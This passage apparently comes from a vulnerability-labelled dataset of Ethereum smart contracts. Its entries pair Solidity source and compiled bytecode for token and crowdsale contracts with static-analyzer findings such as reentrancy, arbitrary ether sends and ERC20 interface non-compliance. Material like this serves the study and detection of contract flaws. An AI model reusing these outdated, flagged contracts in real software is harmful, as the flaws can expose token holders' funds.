46117af9086611942565b6001600160a01b0389166000908152600260205260409020556117d1816119a1565b6117db84836119eb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182091815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061184f82826116cc565b82101561186c5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836118965760405162461bcd60e51b81526004016106439190611c33565b50600061142b8486611f7e565b60008060008060008060008060006118c08a600c54600d54611a0f565b92509250925060006118d06116a9565b905060008060006118e38e878787611a64565b919e509c509a509598509396509194505050505091939550919395565b60006114eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fa565b60008061194f8385611ede565b9050838110156114eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610643565b60006119ab6116a9565b905060006119b98383611ab4565b306000908152600260205260409020549091506119d69082611942565b30600090815260026020526040902055505050565b6006546119f89083611900565b600655600754611a089082611942565b6007555050565b6000808080611a296064611a238989611ab4565b906116cc565b90506000611a3c6064611a238a89611ab4565b90506000611a5482611a4e8b86611900565b90611900565b9992985090965090945050505050565b6000808080611a738886611ab4565b90506000611a818887611ab4565b90506000611a8f8888611ab4565b90506000611aa182611a4e8686611900565b939b939a50919850919650505050505050565b600082611ac3575060006108ae565b6000611acf8385611fa0565b905082611adc8583611f7e565b146114eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610643565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146109da57600080fd5b8035611b6981611b49565b919050565b60006020808385031215611b8157600080fd5b823567ffffffffffffffff80821115611b9957600080fd5b818501915085601f830112611bad57600080fd5b813581811115611bbf57611bbf611b33565b8060051b604051601f19603f83011681018181108582111715611be457611be4611b33565b604052918252848201925083810185019188831115611c0257600080fd5b938501935b82851015611c2757611c1885611b5e565b84529385019392850192611c07565b98975050505050505050565b600060208083528351808285015260005b81811015611c6057858101830151858201604001528201611c44565b81811115611c72576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c9b57600080fd5b8235611ca681611b49565b946020939093013593505050565b600080600060608486031215611cc957600080fd5b8335611cd481611b49565b92506020840135611ce481611b49565b929592945050506040919091013590565b600060208284031215611d0757600080fd5b81356114eb81611b49565b80358015158114611b6957600080fd5b600060208284031215611d3457600080fd5b6114eb82611d12565b600060208284031215611d4f57600080fd5b5035919050565b60008060008060808587031215611d6c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d9d57600080fd5b833567ffffffffffffffff80821115611db557600080fd5b818601915086601f830112611dc957600080fd5b813581811115611dd857600080fd5b8760208260051b8501011115611ded57600080fd5b602092830195509350611e039186019050611d12565b90509250925092565b60008060408385031215611e1f57600080fd5b8235611e2a81611b49565b91506020830135611e3a81611b49565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611eba57611eba611e90565b5060010190565b600060208284031215611ed357600080fd5b81516114eb81611b49565b60008219821115611ef157611ef1611e90565b500190565b600082821015611f0857611f08611e90565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f5d5784516001600160a01b031683529383019391830191600101611f38565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f9b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611fba57611fba611e90565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d20722bab34454fefa471c9632288131ed6d9bcb741364efba605caf0e540c6464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
584
0x090b60abc45e2af60eb058a4c7f25574a1c6ae4a
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract PCNCoin is BurnableToken, Ownable { string public constant name = "PCN Coin"; string public constant symbol = "PCNC"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 900000000 * (10 ** uint256(decimals)); // Constructors function PCNCoin () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract token { function transfer(address receiver, uint amount){ } } contract PCNCrowdsale is PCNCoin { using SafeMath for uint256; // uint256 durationInMinutes; // address where funds are collected // address public wallet; // token address // address public addressOfTokenUsedAsReward; uint256 public price = 3000; token tokenReward; // mapping (address => uint) public contributions; // start and end timestamps where investments are allowed (both inclusive) // uint256 public startTime; // uint256 public endTime; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function PCNCrowdsale () { //You will change this to your wallet where you need the ETH // wallet = 0x5daaAb630673a61f487965f90E13457a74F566D3; // durationInMinutes = _durationInMinutes; //Here will come the checksum address we got // addressOfTokenUsedAsReward = 0x8aB10a31c97Af458Db24038Ed8b498590cf64d74; tokenReward = token(address(this)); } bool public started = true; function startSale() onlyOwner { // if (msg.sender != wallet) throw; started = true; } function stopSale() onlyOwner { // if(msg.sender != wallet) throw; started = false; } function setPrice(uint256 _price) onlyOwner { // if(msg.sender != wallet) throw; price = _price; } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // if(weiAmount < 10**16) throw; // if(weiAmount > 50*10**18) throw; // calculate token amount to be sent uint256 tokens = (weiAmount) * price;//weiamount * price // uint256 tokens = (weiAmount/10**(18-decimals)) * price;//weiamount * price // update state weiRaised = weiRaised.add(weiAmount); // if(contributions[msg.sender].add(weiAmount)>10*10**18) throw; // contributions[msg.sender] = contributions[msg.sender].add(weiAmount); tokenReward.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { // wallet.transfer(msg.value); if (!owner.send(msg.value)) { throw; } } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = started; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function withdrawTokens(uint256 _amount) onlyOwner { // if(msg.sender!=wallet) throw; tokenReward.transfer(owner,_amount); } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461013e578063095ea7b3146101ce57806318160ddd146102335780631f2698ab1461025e57806323b872dd1461028d578063313ce56714610312578063315a095d1461033d578063378dc3dc1461036a5780634042b66f1461039557806342966c68146103c057806366188463146103ed57806370a08231146104525780638da5cb5b146104a957806391b7f5ed1461050057806395d89b411461052d578063a035b1fe146105bd578063a9059cbb146105e8578063b66a0e5d1461064d578063d73dd62314610664578063dd62ed3e146106c9578063e36b0b3714610740578063ec8ac4d814610757578063f2fde38b1461078d575b61013c336107d0565b005b34801561014a57600080fd5b50610153610988565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610193578082015181840152602081019050610178565b50505050905090810190601f1680156101c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101da57600080fd5b50610219600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c1565b604051808215151515815260200191505060405180910390f35b34801561023f57600080fd5b50610248610ab3565b6040518082815260200191505060405180910390f35b34801561026a57600080fd5b50610273610ab9565b604051808215151515815260200191505060405180910390f35b34801561029957600080fd5b506102f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610acc565b604051808215151515815260200191505060405180910390f35b34801561031e57600080fd5b50610327610db8565b6040518082815260200191505060405180910390f35b34801561034957600080fd5b5061036860048036038101908080359060200190929190505050610dbd565b005b34801561037657600080fd5b5061037f610f1b565b6040518082815260200191505060405180910390f35b3480156103a157600080fd5b506103aa610f29565b6040518082815260200191505060405180910390f35b3480156103cc57600080fd5b506103eb60048036038101908080359060200190929190505050610f2f565b005b3480156103f957600080fd5b50610438600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110f8565b604051808215151515815260200191505060405180910390f35b34801561045e57600080fd5b50610493600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611389565b6040518082815260200191505060405180910390f35b3480156104b557600080fd5b506104be6113d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050c57600080fd5b5061052b600480360381019080803590602001909291905050506113f8565b005b34801561053957600080fd5b5061054261145e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610582578082015181840152602081019050610567565b50505050905090810190601f1680156105af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c957600080fd5b506105d2611497565b6040518082815260200191505060405180910390f35b3480156105f457600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061149d565b604051808215151515815260200191505060405180910390f35b34801561065957600080fd5b50610662611673565b005b34801561067057600080fd5b506106af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ec565b604051808215151515815260200191505060405180910390f35b3480156106d557600080fd5b5061072a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e8565b6040518082815260200191505060405180910390f35b34801561074c57600080fd5b5061075561196f565b005b61078b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107d0565b005b34801561079957600080fd5b506107ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e8565b005b60008060008373ffffffffffffffffffffffffffffffffffffffff16141515156107f957600080fd5b610801611b40565b151561080c57600080fd5b3491506004548202905061082b82600654611b6f90919063ffffffff16565b600681905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156108f657600080fd5b505af115801561090a573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a3610983611b8d565b505050565b6040805190810160405280600881526020017f50434e20436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600760009054906101000a900460ff1681565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0b57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bdc83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7183600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc78382611bf190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610f0057600080fd5b505af1158015610f14573d6000803e3d6000fd5b5050505050565b6012600a0a6335a4e9000281565b60065481565b60008082111515610f3f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f8d57600080fd5b339050610fe282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf190919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103a82600054611bf190919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611209576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129d565b61121c8382611bf190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145457600080fd5b8060048190555050565b6040805190810160405280600481526020017f50434e430000000000000000000000000000000000000000000000000000000081525081565b60045481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114da57600080fd5b61152c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116cf57600080fd5b6001600760006101000a81548160ff021916908315150217905550565b600061177d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119cb57600080fd5b6000600760006101000a81548160ff021916908315150217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a4457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a8057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000600760009054906101000a900460ff16915060003414159050818015611b685750805b9250505090565b6000808284019050838110151515611b8357fe5b8091505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515611bef57600080fd5b565b6000828211151515611bff57fe5b8183039050929150505600a165627a7a72305820c8dd50d5e813a8200d0c40b6e61d9521141776d7c4534afa352f45bc3a3aa97a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
585
0xd1603e9fa007c703feed0820c12fbdf9f1e44258
pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Pausable is owned { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused { paused = false; Unpause(); } } contract TokenERC20 is Pausable { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // total no of tokens for sale uint256 public TokenForSale; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 TokenSale ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes TokenForSale = TokenSale * 10 ** uint256(decimals); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract Sale is owned, TokenERC20 { // total token which is sold uint256 public soldTokens; modifier CheckSaleStatus() { require (TokenForSale >= soldTokens); _; } } contract Luxury is TokenERC20, Sale { using SafeMath for uint256; uint256 public unitsOneEthCanBuy; uint256 public minPurchaseQty; mapping (address => bool) public airdrops; /* Initializes contract with initial supply tokens to the creator of the contract */ function Luxury() TokenERC20(350000000, 'Luxury Ledger', 